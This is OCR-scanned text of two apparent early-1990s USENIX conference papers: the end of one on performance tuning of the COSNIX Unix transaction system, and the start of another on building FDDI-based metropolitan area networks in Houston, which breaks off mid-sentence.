and to delete them meant going through a directory with several hundred ftles. The solution was to have a user's
working directory as before and a user's executable directory. For system developers, who used the regular (Ritchie)
shell, they were the same directory. Transaction users had a restricted shell and their working and executable direc­
tories were distinct. (The shell set the executable directory as distinct, and its children inherited the executable
directory.) This simple change of about a dozen instructions sped individual transactions by a factor of two to ten.
We next paid careful attention to directory ordering. By checking usage frequency on the database logging magnetic
tape, we ordered transactions so that more than 99 percent were in the flfSt block of the directory of the transaction
executable ftles. The fll'St three entries covered more than half the processes executed.

Finally, we paid careful attention to the physical layout of the files corresponding to the directories. A gap
was left between the inodes and the executable files for the scratch files, for example. Frequently used executable
ftles were placed closest to the inodes. To the extent possible, database files were placed to minimize seek time.
That is, files often used in sequence were placed next to one another; files used frequently were placed closer to the
middle cylinder than those used less frequently. Systems running on PDP 11/45s with 50 millisecond (average)
access time disks regularly did more than 200,000 physical disk 1I0s per hour, or one disk transfer every 18 millisec­
onds on average.

5. System Changes Since 1977

The previous portions of this paper described system changes made through about 1977, when the author
stopped working on COSNIX. A new and rcllher more stringent set of demands was placed on the system after that
time. The system was required to interface to two different networks, the forty-eight terminal limit was increased to
ninety-six, and adequate response time was still required while running on a PDP IlnO. (A few of the smaller sys­
tems remained running on PDP 11/45s until the mid 1980's.) The operating system source was identical for 11/45s
and IlnOs, and for different hardware configurations; conditional assembly was used to generate the specific
machine code needed.

Additional hardware and substantial system changes were used to accomplish these goals.

The rust of the network connections was a multiplexed connection to a Datakit Virtual Circuit Switch (VeS)
which can connect up to 96 tenninals to the system. (The system, in practice, was only sufficiently responsive for
about eighty users.) The other network connection was to a system called the "work manager", which distributed
service order information within the telephone company. In addition to the device drivers for the network connec­
tions, the work manager connection resulted in a somewhat more elaborate system of priority queues within the
operating system.

The hardware changes included the necessary equipment for the network connections and additional data mul­
tiplexors. In addition, system main memories were usually increased to half a megabyte (typical), though some sys­
tems were given a full complement of main memory (3.75 megabytes). (Notall systems had their main memories
increased. The increased memory became economically possible because solid state memories (DRAMS) became
inexpensive relative to core memories.) Also, a 4-16 megabyte solid state disk was added to many of the systems
that needed increased perfonnance.

Most of the perfonnance improvements continued the theme of using the disk as little as possible. The same
system, it should be emphasized, continued to be used for both development and for transaction processing.
Restricted shells and dedicated directories allowed for some software speed hacks which will be covered in more
detail below.

While it was possible to use the large main memory mainly for adding more user processes, this was not found
to be a very effective use. If there were n user partitions (the user partitions were of fixed size), the system would
not swap if there were n or fewer active processes. The system would start to swap at n+1 processes: Each partition
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would swap in rotation, assuming that no process ran to completion in a time slice. At that point the system would
have been just as effective if it had had only a single user partition. Effective main memory use tries to speed each
process so that each completes quickly and thus there are relatively few active processes in the system at a time.

The system code was expanded from aboQt 12K bytes to about 22K bytes during this period. Buffer space.
including disk buffer space, was mapped dynamically when the system referenced it. (The clist had been mapped
dynamically for a number of years.) The number of disk buffers grew from about a dozen to more than 100. The
disk buffers were subdivided into three categories. (Disk, as always, means high speed device including disk, solid
state disk and magnetic tape.) About 15 of the buffers were used to keep the fIrSt directory blocks read, permanently
in main memory. The actual number of blocks was a system generation Parameter. When the system was booted, a
chosen set of directory blocks were the first 15 (or whatever the parameter was set to) accessed. No more than about
30 percent (a system generation parameter) of the blocks were usable for the solid state disk. This limit was
imposed so that the mechanical disks would have a good sized cache even though the solid state disks contained the
most frequently used files. The solid state disk's access and transfer times were sufficiently fast that caching pro­
vided only a modest speedup; for a mechanical disk the speedup is about a factor of one thousand.

The solid state disk (a.k.a. the Megaram) had an access time of 53 microseconds. Its transfer rate was more
than a megabyte/second. The solid state disks were used to store the swapped processes, the temporary files used to
pass data among processes involved in a transaction, the object code of the more frequently run transactions and
some of the smaller, but more frequently used, database files. It was also possible to store just the beginning of a
database fIle. (The beginning of some database files contained frequently used index information.) Some user com­
mand files (shell scripts) were stored on the solid state disk as well. The area used for each of the above types of
information, as well as the specific transactions and database flies stored, were tunable Parameters for each installa­
tion. Actual (mechanical) disk access was thus confined to infrequently run transaction object code fetches and
some database flle manipulation.

Database writes to the solid state disk were copied to the magnetic disk as well. This was also true for com­
mand files (shell scripts), but this was not true for the temporary files used by transactions (since they were truly
temporary and did not have to survive any sort of service interruption).· This trick for transaction temporary files is
an example of how ttansaction users and developers were treated differently by the same system because of the dif­
ferent shells they used and the different directories employed for temporary files.

Another example of different treatment of transaction users and developers was in how inodes for temporary
flies were treated. Since the temporary files were truly temporary and dido't exist beyond the end of a transaction. a
pool of inodes was kept in main memory for the transaction temporary fIles. They were never written to disk; the
pool was of constant size, with inodes being reused by successive transactions. Regular inodes were flushed periodi­
cally to disk if they had been modified.

Another trick Peculiar to transaction users was that temporary file names were created by concatenating a
name known to the process with the user's tty number, rather than by using the creal system call to find a unique
identifier. This was possible because the restricted shell for transaction users did not allow multiple simultaneous
transactions.

Directory searching was made faster by doing full block reads of directories rather than by doing a series of
reads each the size of an individual directory entry. (Each entry was 10 bytes; file names were eight characters and
two bytes were used for the inode number.)

Database directories were kept entirely in main memory. A combined fork , exec and wail system call was
implemented to make transactions using that sequence faster. The FORTRAN compiler was changed to produce
more compact and faster code. Compact code allowed for smaller transactions and fewer processes per transaction.
The "FORTRAN pagett (where pure code which was usable by all processes was kept) was increased from 8K
bytes to 14K bytes. This meant user processes could be up to 56K bytes.

• Database updates and the start and stop of each transaction were logged on magnetic tape. Thus a crashed system could have its
database restored to a point of the last completed transactions and all transactions which were in progress at the time of the interrup­
tion could be restarted.
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6. Comparisons With Recent Work

Nearly all methods for optimizing disk use are based on one of the following four ideas: avoid disk use alto­
gether by caching; optimize sequential reads by synchronizing rotational delay to the time required to schedule a
read- ahead (that is, alternating physical blocks are logically sequential); optimize transfers by moving large blocks;
optimize seek time by clustering frequently used files. COSNIX used all of these schemes. All but the caching were
static because the ftle system itself was static except for scratch ftles and a few command files. (This was not ttue in
the development environment, but we didn't care about optimizing the ftle system there.) The iPCRESS [2] file sys­
tem used the same sort of optimization scheme for ftle positioning that we did except for the fact that our buckets
each contained one file. The ftle system work described for speeding a SUN implemented NFS [3] used the same
alternating block scheme and read ahead that we used, (Using alternating blocks for disks with internal track buffers
is, of course, counterproductive.) and tried to produce larger contiguous segments dynamically where possible. We
produced large contiguous segments only for executable files for reasons of space. (Our entire operating system was
smaller than one of their segments.) We had a problem analogous to the one of large sequential reads flushing out
virtual memory pages, in that large sequential database reads could flush the entire cache. We solved it by having
three separate categories of cache blocks only one of which would likely be subject to large sequential reads. The
SUNOS solution was quite different; it adjusted the order of replacement in the disk cache from LRU when sequen­
tial file reading was done. We loaded executable files directly to their user partition; this also helped prevent flush­
ing the cache.

7. Conclusions About Development ~o Philosophy Yet)

The fundamental conclusion is that by careful measurement and tuning we· were able to provide quite good
service on a machine that is two orders of magnitude slower and has two orders of magnitude less memory than a
modem workstation. The operating system was more than an order of magnitude smaller as well. (The research
VlO Unix system uses about lOOK bytes of memory for text plus data when running on a VAX; on a SPARC work­
station the (SUN) operating system uses about 1.1 Mbytes of memory for text plus data.) Simple inquiries were
processed in less than one.second.

We learned lots of lessons in doing this development. First, one must measure everything in both the labora­
tory and in the field. Field measurements were based on the database logging tapes and on counters inserted in the
system. Laboratory measurements were done with a combination of synthetic loads and scripts of real commands.
A fixed database was used at the start of each script so that variations in the database would not affect perfonnance
and to allow for regression testing. The actual use of the system was quite different from what was expected. More
than ten times as many inquiries were run than expected. Not too smprisingly, use grew as the system became more
responsive. Organizations that were not intended to use the system found it useful. A major mistake was measuring
only a few parameters at a time, though this was done mostly for reasons of limited space.

Also, one must play hunches a little bit, even with measurements. For example, adding alternating blocks
actually made the system a bit slower; adding read ahead made the system a bit faster, but the combination of the
two sped disk reads up by a large factor. We would have rejected alternating blocks had we not guessed at its poten­
tial and relied purely on a measurement. Some improvements also tend to negate previous ones, of course. Reading
executable files with a single read eliminated much of the improvement of the alternate block and read ahead
schemes.

We found that the purely ASCII database was the right way to go despite a small space and computational
penalty. (The ASCII data base required converting record numbers it contained from ASCII to binary. The record
nU~bers would have taken less space had they been stored as binary.)

In a modem 32-bit system with lots of memory for a disk cache and a high speed processor, much of the care­
ful management of buffers would result in relatively small gains. In a database system, though, it is relatively easy
for transactions that march through a large portion of the database to flush a disk cache. It may be prudent to have
some cache reserved for purposes other than database use. On the other hand disk speeds have improved much less
rapidly than processor speeds (only about a factor of two in access times) and so disk cache misses are relatively
more expensive. Thus, the careful attention to disk layout is relatively more important today than before. Certainly

• There were never more than two people working on the COSNIX operating system. It was always a part time task, with other sys­
tem programming and field support being our primary jobs.
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the directory ordering and separate working and executable fIle directories would still make a difference in perfor­
mance and both are easy to do.

We found that the best uses of main memory were for locking in frequently used read-only data and for main­
taining caches. Adding more partitions for user programs was of limited utility. In a contemporary system imple­
mentation one would probably keep all of the pure code for most of the transactions in main memory in addition to
the sort of things that we did. The material which was kept on the solid state disk would also almost certainly reside
in main memory in high perfonnance implementations.

The choice of FORTRAN as a language would be silly today. It was the only portable language supported at
the time the project was started and the programming staff were all fluent in it. It probably would have been wise to
have rewritten some of the more frequently run programs in C for space efficiency, but bug fixes and feature addi­
tions always seemed to come flI'St. The system was designed B.C. (Before C). The transactions were eventually
rewritten in RATFOR (FORlRAN with C- like control statements). The RATFOR was machine-translated to C.
This machine translated C was what was then maintained as transaction source code.+

Now COSMOS is run on a model200E or 300E Amdahl mainframes running Amdahl's Unix system. Each
machine has 2 CPU's, 8 front-end-processors and 256Mbytes of memory. They each replace about 50 PDP IlnOs.
If one normalizes by the number of machines it replaces the Amdahl has more than twice the processing power and
about five times as much main memory.

Finally, the relentless rooting out of every bug proved to be a great benefit in maintaining the systems in the
field We achieved sufficient credibility in the correctness of the system that hardware/software fmger-pointing
problems were avoided. Once we had more than a dozen systems, it became easy to identify the relationship among
nearly all hardware faults and their effect on the system. The system became the diagnostic of first resort. Looking
at a system hang or a crash usually pointed straight to the hardware fault (for someone knowledgeable in the sys­
tem).

8. Philosophical Implications for System Design

In this section I will argue for the return to smaller, simpler systems from several different points of view.
Even if one isn't prepared to give up any of the features of current systems, one should at least understand that there
is a large perfonnance penalty associated with using them relative to the simpler systems for most activities. This is
especially ttue if the simple systems are tuned for a particular job. Performance penalties of a too-fully-featured sys­
tem can easily be an order of magnitude, or more. (See the MULTICS example below. There are many others.)
Correctness is also likely to suffer.

It is important to look at the current state of systems compared with what was done twenty years ago. New
systems are generally much more complex and somewhat more capable. The question is what price we pay for these
added capabilities. Much the same situation occurred in processor design. It became possible to design complex
instruction sets which seemed to add lots of capabilities to the instruction sets of early computers which were,
because of the technology of the time, necessarily RISC machines. The VAX was a prime example of an overly
complex insttuction set. The added capabilities were largely unused and came at a high cost in performance poten­
tial. The trend is, of course, back to RISe machines. Perhaps systems should fall into this mode as well. Modern
computers would offer extremely high performance if currently used systems were much simpler.

Much of the problem with modern software has to do with the sociology of development. Designers are
rewarded for adding features. There is a reward for generality. Features that are used, even by a handful of people,
remain forever. No rewards are given for rewriting, for removing features, or even for careful coding or perfor­
mance measurement. The progress of hardware technology covers any added inefficiencies and general purpose sys­
tems, like reptiles, grow throughout their lives.

For systems that are dedicated to a specific task, as COSNIX was, the reward structure is quite different than
for general purpose systems. Feature addition is confined to that which is useful. Although it isn't easy, some fea­
tures are removed. Technology can cover the cost of extta features only if hardware is updated at all sites, which is
usually an expensive proposition. If features do slow a system substantially, the same users who asked for them are
perfectly capable of complaining about their performance cost. There is a constant incentive to clean up, rewrite and

+ This is, I know, a desperate aCL It wasn't my idea. I had left the project by the time this work was done. It apparently was suc­
cessful, though I assume that major rewrites by humans eventually cleaned things up.
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generally do things better. Many of the features are not really changes in capability, but are strictly performance
improvements. There are no rewards for features for their own sake; everything needs a defined purpose up front

None of this is to say that modem system design is totally wrong. Use of high level languages in system
design seems only reasonable these days. It likely leads to many fewer mistakes per unit of code than assembly lan­
guage programming, though complex languages (such as ADA) may be exceptions. The problem is that systems are
at least as buggy as many years ago because they are so large. Performance suffers more than one would think. Fea­
tures like virtual memory are very expensive to implement and are needed only by the very largest programs. Each
memory reference is slowed by the need for mapping, and caches are also complicated. Today main memories are
so big that systems could again do very well without virtual memory. (Years ago main memories were so small that
virtual memory systems performed horribly because of excess paging and so were not used very much.)

Bloat in systems such as X windows and most Unix systems is likely a result of the above sociological phe­
nomena as well as the systems being a training ground for student programmers. (A small contribution to increased
size comes from the use of intelligent peripherals which require substantially more code than the previous generation
of dumb peripherals.) I suppose their supporters call such systems "feature rich" and "ambitious" rather than
bloated, but they seem to be disproportionately sized by any measure. Such phenomena are hardly new, however.
MULTICS [4-6] was the logical predecessor of the Unix system, but was not nearly as successful. It tried to do too
,much, for its time. Basically it had all the features of early Unix systems plus virtual memory, automatic file migra­
tion and automatic file backup. Further, the entire file system was part of the virtual address space. The system
used about 30K 36-bit words of program space and about 36K words of buffer space. It was written in PL/I except
for portions that had to be written in assembly language. Assembly language Unix used at that time about 12K bytes
of code space and 12K bytes of buffer space. MULTICS ran on a dual processor GE 645 computer with 384K words
of main storage; Unix ran on a PDPll/20 with 18K words (16 bit) of main storage or a PDPll/45 with up to 44K
words. MULTICS initially performed quite poorly. In 1969 it supported about 3 users [7]. By 1972 it supported
about 55 users. In order to do this several key sections written in PL/I had to be rewritten in assembly language.
Some of the features that were more expensive were also dropped [6]. Thompson and Ritchie took the elegant fea­
tures of MULTICS, left out the hard or expensive to implement stuff, and made a capable and tiny system. In short,
by careful choice of what to implement and by well written assembly language coding, the Unix system provided
most of the functionality of MULTICS at less than one-tenth the cost in both hardware and software. The relative
development costs were even greater: The Unix-A operating system was developed in about 1 man-year [8]; the
MULTICS operating system required about 100 man-years [6-7].

Small systems may be their own reward. ·Small systems are faster, easier to understand and more easily port­
able, though language plays a role in portability. They will run on small machines, such as palm top computers.
While memory is about 10,000 times less expensive today than when COSNIX was started, it still makes little sense
to be profligate in systems that run on millions or even tens of millions of machines. Perhaps this explains why
MS/DOS is still more popular than Unix in the PC market. MS/DOS is much less capable, but it is substantially
smaller. Ifone could save half a megabyte in each PC, that would amount to saving 30 terabytes of memory - more
than a billion dollars (at $40/megabyte)! In this sense, memory is far from free.

Another virtue of small systems is that they are normally conceived of and written by a small group of people
(in the best case just one person). This can result in a system that has a clean structure and a clear point of view. If
developed by the same people who conceived it, little is lost in the translation between specification and code. On
the other hand, designs which result from the harmonious operation of large committees are likely to produce discor­
dant code. (Look at any international standard that was produced by a committee before there was an implementa­
tion, ifyou don't believe the previous sentence.)

I hesitate to talk about cars in NORTHERN California, but allow me an analogy. We used to have systems
like MOs. They were perhaps crude by comparison to today's technology, but they performed well for their time.
Somehow we have managed to develop systems like the CadiUacs of the 60's, with lots of chrome and giant tail fins.
Maybe what we need is a Miata with modem technology, but some of the old virtues.
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Creating MANs using LAN Technology:
Sometimes You Gotta Break the Rules

Stanley P. Hanks
Technology Transfer Associates

Abstract

Commercially available, off-the-shelf intemetworking products provide good mechanisms for the creation of
limited-throughput metropolitan and wide area networks. However, for many applications either the
throughput obtained from Tl or slower communication circuits ~s inadequate, or the expense of obtaining
high throughput using multiple Tl or whole OS-3 circuits is prohibitive.

Proposed service offerings such as 802.6, SMOS, frame relay, or SONET promise adequate speed
metropolitan area network connectivity at a reasonable price. Today these services are not available, or
where they are available are limited to Tl speeds.

Metropolitan Fiber Systems owns over 17,000 miles of fiber optic cable in 12 cities. Most of this capacity
is currently devoted to providing leased Tl and DS-3 circuits, and a significant ponion of those circuits are
for data transmission. This provided a unique opportunity to address the question of how to provide LAN
speed connectivity in and between metropolitan areas using commercially available products.

This paper discusses the development of the very high speed MAN connectivity service offerings based on
FOOl provided by MFS.

1. Introduction

Recent studies [1] indicate that the number of local area networks in service is increasing at about 17% per
year, and that over the next few years almost all of them will be connected to LANs at sites other the one at
which they are located. With this growth comes increased client-server computing, and generally increased
requirements for information sharing. Of course, it is expected that these increases will stimulate further
growth and start an ever-increasing spiral.

Those of us who have experienced the explosive growth of TCP/IP-based internetworking and distributed
computing systems built on UNIX over the past decade fmd little surprise in these trends. Further, we bring
a great deal of experience and common wisdom to bear on the question of how best to build such
interconnection. However, our experience to date is based on technology and paradigms which are
fundamentally limited.

It is difficult to construct networks larger than a single LAN without sacrificing performance. Currently,
standard leased telephone circuits are widely used in the construction of internetworks. However, due to the
architecture of the North American telephony system, these circuits only come in capacities which reflect
the need of the telephone companies to build modular switched voice circuit networks, such as 64kb/s (OS­
0), 1.544 Mb/s (DS-l or Tl), and 45 Mb/s (OS-3). There are no services which provide native LAN data
rates.

Further, the tariff structures for these leased circuits are based on a number of different mileage sensitive
components, and can involve service provision from multiple carriers to achieve connectivity. The end
result of this is that any leased service is expensive, and that the faster the service is, the more expensive it
gets. Regardless of their connectivity requirements most institutions can only afford TI service, which at
best provides 15% the capacity of an Ethernet. As a result, metropolitan and wide area networks constructed
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from leased telephone circuits provide only limited throughput, which limits the functions that may be
performed between remote networks.

A substantial amount of research has been undertaken which focuses on how to live with these restrictions.
While many of these projects have borne interesting fruit, none have provided solutions for all of the
problems arising from the much slower remote network links.

At the same time, the telephone companies and their vendors have been working towards the development
and acceptance of high-functionality switching systems. These systems, such as SONET and SMDS, are
designed to provide services more attuned to the construction of intemetworks, but in a manner which
integrates into the existing telephony architecture. The number of participants involved and the magnitude
of the task have delayed the introduction of these services, probably well into the mid-90's.

2 . Background for this project

Despite the aforementioned difficulties, there are people who believe that it is both possible and desirable to
have native LAN speed networking to remote sites today. For some, these reasons center around improved
productivity [2,3]; for others, a refusal to accept degraded performance for any reason. Regardless of
motivation, for anyone desiring full speed LAN to LAN connectivity outside of a campus there are few
commercially available solutions, and all of them are expensive. These solutions include using

• dedicated fiber optic pathways, either privately constructed or using leased dark fiber

• time-division multiplexing hardware to extract 10 Mb/s of bandwidth from a full 45
Mb/s OS-3 circuit (and potentially doing something else with the "leftover" 35 Mb/s in
theOS-3)

• dedicated OS-3 circuit with LAN to LAN routers (and potentially wasting the surplus
capacity)

• multiple Tis, across which data are striped to achieve higher throughput

All of these solutions require a substantial network engineering effort to deploy. All of them involve
significant recurring monthly expenses to maintain the service. All of them require extensive on-going
network support and management. For most companies, the aggregate expense prohibits deploying such
networks.

2.1. Why MFS?

Metropolitan Fiber Systems is a nationwide company which provides competitive access in the leased
circuit market in 12 cities. Their hallmark is flexible and reliable service, with diverse routing of their fiber
optic network and dedicated points-of-presence (POPs) in the buildings which they serve. They have many
thousands of miles of fiber optic cable in the ground, and are well capitalized on an all equity, no debt,
basis.

Their primary business is in selling dedicated access from customers to long distance providers. They also
provide leased lines between any points in their networks, such as between long distance carriers or between
multiple customer sites. The latter resulted in a number of requests for dark fiber or multiple TI circuits
between customer sites. On investigation, MFS discovered that many customers were trying to construct
their own native LAN speed networks, and deduced that there was a latent market for a service offering.

As MFS already had the embedded fiber optic network and dedicated POPs, they decided to investigate
whether or not it might be possible to develop a standard product which provided native LAN speed
connectivity. As the bulk of these customer requests were coming from their Houston operation, the
investigation was to begin there under the direction ofF. Scott Yeager.
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Given that SONET and SMDS are going to be available Real Soon Now, it seems obvious to ask why one
might bother with a "non-standard" solution. The answer to such questions is simply that SONET and
SMDS remain possibilities, but not real solutions. Despite claims of availability, it is unclear when these
services will be available at native LAN speeds. It is difficult to become excited about promised next day
service in a nanosecond world [4].

Some market analysis was undertaken which indicated that a new service would be widely accepted if full
native LAN rate connections were available at prices which approximated those ofTl circuits. Given that it
had to be understood how to provide this service prior to understanding how it might be priced, Yeager was
given authorization to proceed with the project

2.3. Why Houston?

Houston is a unique place in many respects. First, there are eleven supercomputers in the area and a very
large number of mini-supercomputers and massively parallel systems. Computation at this level implicitly
brings with it large volumes of data, and potential requirements for networks capable of moving such data
in real time.

Second, greater metropolitan Houston covers approximately SOOO square miles. From NASA's Johnson
Space Center in the Clear Lake area to the technology park around the Houston Advanced Research Center
in The Woodlands is approximately 75 miles as the crow flies, and substantially longer as the bit flows.
Further, almost this entire area is governed by the City of Houston, instead of many different townships.
The result is that the political and regulatory aspects are significantly streamlined.

Third, Houston does not truly have a central business district. Rather there are a number of areas, each of
which has a large concentration of high-rise office buildings. Additionally, there are a number of technology
and industrial parks, each of which typically attracts some business unit from enterprises who have
principal offices in another area of town. The result is that many of the larger businesses have significant
business operations in several different locations around town.

This distribution of computing equipment and users across a very large area, all under the same municipal
authority, was a perfect test bed for constructing a large metropolitan area network. Further, a number of
high capacity computation users presented the same problems over and over again: how can I get my data
from one set of my offices to another at reasonable speed and at a price I can afford?

Discussions began around this topic in early 1991 with the formation of a steering committee formed of
potential users of such services, and technical experts from the academic community and consulting firms.
Several months of discussion followed, and in April, Technology Transfer Associates was contracted to
work with MFS engineering staff in performing the necessary research and development to provide a
solution, and the actual implementation of the network.

2.4. Goals

From the outset, it was clear that there were conflicting issues afoot. The steering committee, formed of
potential users, wanted high-speed connectivity with complete reliability, redundancy, and security. They
also wanted to not pay more than current prices for TI circuits, since their budgets were typically sized for
Tis. On the other hand, MFS wanted the high-speed network service to be a true product, not a custom
network engineering exercise, which brought with it a whole host of internal requirements. They also
wanted it to be possible to make a profit providing such services. These issues were massaged towards
convergence. defining a set of goals which balanced the user requirements with the costs of providing
service.

First, the connectivity provided was to be at native LAN speeds, and using standard LAN connections.
Thus, a "virtual Ethernet circuit" would provide connectivity at speeds up to 10 Mb/s and terminate with
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standard female DB-IS slide-lock AUI connectors. The "circuit" would be the seamless integration of
whatever parts were required to make this occur, much as the mechanics of telephone switching are hidden.

Second, there were to be no restriction as to what networking protocols would be carried. While the notion
of providing an IP-only network was attractive, it would not be useful to a user with primarily DECnet or
AppleTalk networks in place. The was further complicated by the fact that some users were interested in
providing connectivity for protocols which are not mutable, such as LAT or a variety of the vendor-specific
MAC-level device management protocols.

Third, users would be assured that their data was secure on the MAN, and that the MAN didn't compromise
the security of their internal networks. This assurance was to cover unauthorized receipt of data from a
private network (snooping), unauthorized transmission of data into a private network (spoofing), and
unauthorized monitoring of transmissions within a private network (traffic analysis). However, the MAN
was not required to remove existing security problems within a user network, rather just not to exacerbate
them.

Fourth, adequate perfonnance would be available under nonnal conditions, in a "bandwidth on demand"
manner. For most service applications, a shared capacity network would be used to keep costs down.
However, the capacity and utilization of this network would have to be monitored and additional capacity be
added as needed, much as the long distance telephone networks or power distribution grids are handled. It
was understood by all that in periods of peak utilization, that there might be degraded perfonnance, but not
service interruptions. Additionally, another service was to be offered for critical applications, which allowed
a user to pay a premium for guaranteed capacity on dedicated circuits.

Fifth, a variety of configurations and billing options should be available. Some users wanted a fixed
monthly rate for which they could budget; others wanted a "pay as you go" rate structure which allowed
them to build an internal business case for the service. As this seemed to be a religious issue, it was decided
to accommodate both views.

Sixth, the implementation would be done in a manner which kept MFS from having to manage the user
networks as well as their own. This proved to be a critical point, and closely related to the issue of handling
any protocol which the user desired to use. It was eventually agreed that everyone would be best served by
an arrangement where MFS provided a bridge-like interface to a virtual private backbone for each user. The
user could then utilize their internal network management system to manage what appeared to be another
network segment. MFS would neither have to resolve network addressing conflicts between users nor
manage routing tables, which significantly reduced the difficultly of providing the service. However, this
indicated that some sort ofencapsulation scheme would be needed to satisfy the secwity requirements.

Finally, the service should facilitate links between metropolitan areas using a variety of carriers. For some
users, this meant links to dedicated long distance leased lines. For others, connections to Internet service
providers. In any case, given that the MFS telephony network was already interconnected with the long
distance carriers, it was felt that this would be both relatively easy and very useful.

3. The Rules

Given that we now understood what we were trying to accomplish, an Request for Infonnation was written
and issued to every vendor or user organization which came to mind as possibly having relevant experience
or products. Instead of getting the normal flood of responses, however, we received a large number of
tentative telephone inquiries verifying that we meant what we said, and questioning our sanity.

Why were these vendors so surprised that we wanted to build a high-speed MAN at this time? Well, it was
apparently because we were going against all the rules. Of course, we hadn't bothered to check with the
appropriate Powers That Be first, and consequently dido't have a copy of the rules.

To prevent further confusion should anyone else need to know them, the major rules in building a MAN
follow. Please note that while we are now entering satire mode, these are almost verbatim responses
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received in the course of collecting infonnation about how to construct a MAN that met the desired service
requirements. Sad, but true.

3.1. SONET (or SMDS) is the MAN solution

One of these two technologies is the best MAN solution. After all, they were designed to solve just this
problem. Well, at least they were designed by the telephone companies to solve their understanding of the
problems involved with building metropolitan area telephony networks. And integrating the solution into a
hundred year old installed base ofvoice switching equipmenL

And of course, it's going to work, and really work well. After all, both are standards. And they were
developed the right way, by getting everyone who had any interest in either providing service or selling
hardware to service providers together and writing the standard first, then building the hardware and software
to that specification.

And of course, they really will be available soon. Really. Just ask the telephone companies.

3.2. FDDI is a campus network, and only useful for short distances

FOOl is designed for use as a replacement campus backbone, because Ethernet is too hard to deploy right if
there is a lot of it. It is also designed for high-speed transpott of data for high capacity computing. But no
one will use it for that because it's too expensive to deploy to the desktop. Besides, no one can fully load
an FDDI ring from a single computer, and probably not from a large number of computers.

But you can buy anyone's FDDI hardware and just plug it together and have it work, because it's a standard.
Speaking of which, just read the standard. You must use multimode fiber optic cable. You can't run a
network over 100 kilometers long. And there are probably other things you can't do either.

What you really want is FOOI-2 or FODI-Follow-On, because they'll really be a lot better. Someday.
Maybe. If we don't decide that something else is better fU'St.

3.3. Encapsulation is evil

You can't use encapsulation bridging. You can even use encapsulation. It's evil. Did you sleep through the
Bridge Wars in the late '80s? Don't you remember that we all agreed to use the same transparent bridging
schemes so that everything could work with everything else?

Dh sure, I guess you do encapsulate data in TCP packets, and TCP packets in IP packets, and IP packets in
Ethernet packets, but that's differenL Just don't do it.

3.4. You can't deploy something until it's a standard

You can't deploy something until it's a standard, because we won't sell it to you until then. If you need the
functionality sooner, you just can't have it. You didn't see people using Ethernet or TCP/IP before they
were standards, did you?

You did? Oh, never mind then. But it's still not a good idea.

Satire mode off.

4 . The Solution

Having ignored the rules, we instead paid attention to actual solutions. First among these was a business
unit of Centel in Tallahassee, Florida, that we discovered was supplying Ethernet connectivity over FOOl
networks for a variety of offices of the state government A trip to Florida to investigate followed, where
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we found that they had very different service goals. As a result, while we could take their existence as proof
that this was a viable service, we could not use their approach to providing service.

We additionally discovered efforts by United Telephone of Ohio to provide a wide area FDDI network for
their internal use, and that the Autostrada in Italy was using FODI networks to link their toll booths,over
significant distances. Somehow, though, we couldn't quite manage to justify a fact rmding trip to Italy.

Nonetheless, there seemed to be a consensus that FDDI could be used to provide a shared common carrier
for multiple users, provided s~me key issues were resolved. Given that we understood what the transport
mechanism might be, funher research was undertaken to decide how to best use such a facility.

In discussing the development of the architecture and associated facilitating technology, Ethernet will be
specifically referenced when there is a need to discuss a particular type of LAN. Much as "he" should be
taken to be gender-neutral in similar cases, "Token Ring" or "FODI" could be substituted for "Ethernet"
without loss of generality.

4 .1. Underlying ArChitecture

The architeetme for providing the MDS service evolved over time, and was refined by exposure to a variety
of different partial solutions from a number of different sources. There one fundamental key to the
architecture: the notion of segregating the whole network into the' interior network on which the service is
provided, and the exterior network which is the user view of the network, including the pennanent private
virtual backbones through the interior network which connect points in the exterior network.

When dealing with most modem networks, we find that they have become to some extent fully accepted and
are well down the path to becoming pervasive technologies. For example, approach a telephone or a
television or for that matter, a computer workstation, with someone who uses the device frequently (but
who is not charged with keeping the device or its attached network in working order!). Interrupt them at
some point as they prepare to use it, asking some question about how it works or the number of moving
parts in the system and where they are located, or some such. Inevitably the answer given is either some
form of "gosh, I don't know/never thought about it" or some manner of brush-off indicating that the answer
isn't important.

This level of acceptance is very important in positioning any new service offering. If it is not possible to
provide sufficient abstraction as to what exactly is going on, it will be very difficult to involve people in
using the service rather than figuring out exactly what it going on when they use it. Consequently, the
division between the interior and exterior networks, and the justification for explaining the exterior network
fust.

4.1.1. Exterior Network

From a global view, the exterior network is a collection of user networks, connected by a set of private
virtual backbones. The backbones are disjoint, and hence the user networks are not connected. Seen in a
logical schematic view, there would be a set of improbably large Ethemets or Token Rings, each of which
would be connected to a variety of different locations. Some of these locations would be in part the same,
Le. different tenants in the same building. 'However, they would be disjoint, or the virtual backbones would
blend into a new common virtual backbone.

From the perspective of an individual user company, things would not look very much different. The
difference would be that the user would only see their networks and private virtual backbone. Thus, the
exterior network view of a set of user networks connected over a private virtual backbone would be similar
to a collection of Ethernet segments bridged onto a common backbone Ethernet. The differences in this case
is that the common backbone would span many miles, and that instead of bridges connecting the individual
LAN segments onto the backbone, there would be MDS network interface devices.

These network interface devices have some interesting properties from the user perspective. They appear to
be a learning bridge, forwarding traffic which is not local to the LAN. Consequently, the user network may

444 USENIX - Winter '92



Hanks Creating MANs Using LAN Technology: •••

either be connected to the interface device directly via a transceiver direct to the LAN, or via an intennediate
intemetworking device such as a bridge or router under the control of the user. The resultant flexibility is a
useful feature. At this point, they do not perform routing or filtering functions although there is no
technical reason why this would not be possible at some point in the future. .

However, the network interface device is much more than a bridge, because instead of passing any properly
formed MAC packet with a local address from the interior network into the local network, they perform a
security function as well. The details of this will be discussed in the implementation section.

Thus, the user view of the network would be of network segments, connected to network interface devices
which are tied together via a virtual private backbone. And, as long as the implementation holds, that view
should remain undisturbed.

4.1.2. Interior Network

Of course, the success of the abstraction into interior and exterior networks is completely dependent on the
success of the interior network in meeting the level of absttaction posited by the exterior network. Further,
if the interior network doesn't work, the whole project has failed. Needless to say, a significant amount of
time was spent on the issues surrounding the interior network.

In general, we agree that encapsulation bridging is not a good idea. However, for selected applications it
provides the only acceptable solution. Consider in particular the need to provide a LAN interface which is
protocol neutral and which provides the capability to connectivity only among selected LANs. Clearly, the
interface should be that of a bridge, but how to satisfy the limited connectivity requirement?

The Network Systems FOOl Bridge/Router product has a proprietary "closed user group" function which
provides the right type of service. It allows individual ports on a variety of different devices to be connected
together in a virtual backbone. However, the provides strict bridging on both sides of the device, and as a
result restricts the topology of the interior network to be non-redundant or at best governed by spanning tree
rules. This causes difficulty in providing a robust network capable of surviving multiple failures or
handling capacity issues gracefully.

Clearly, the right solution is to have a routed interior network to allow for diversity and robustness, and a
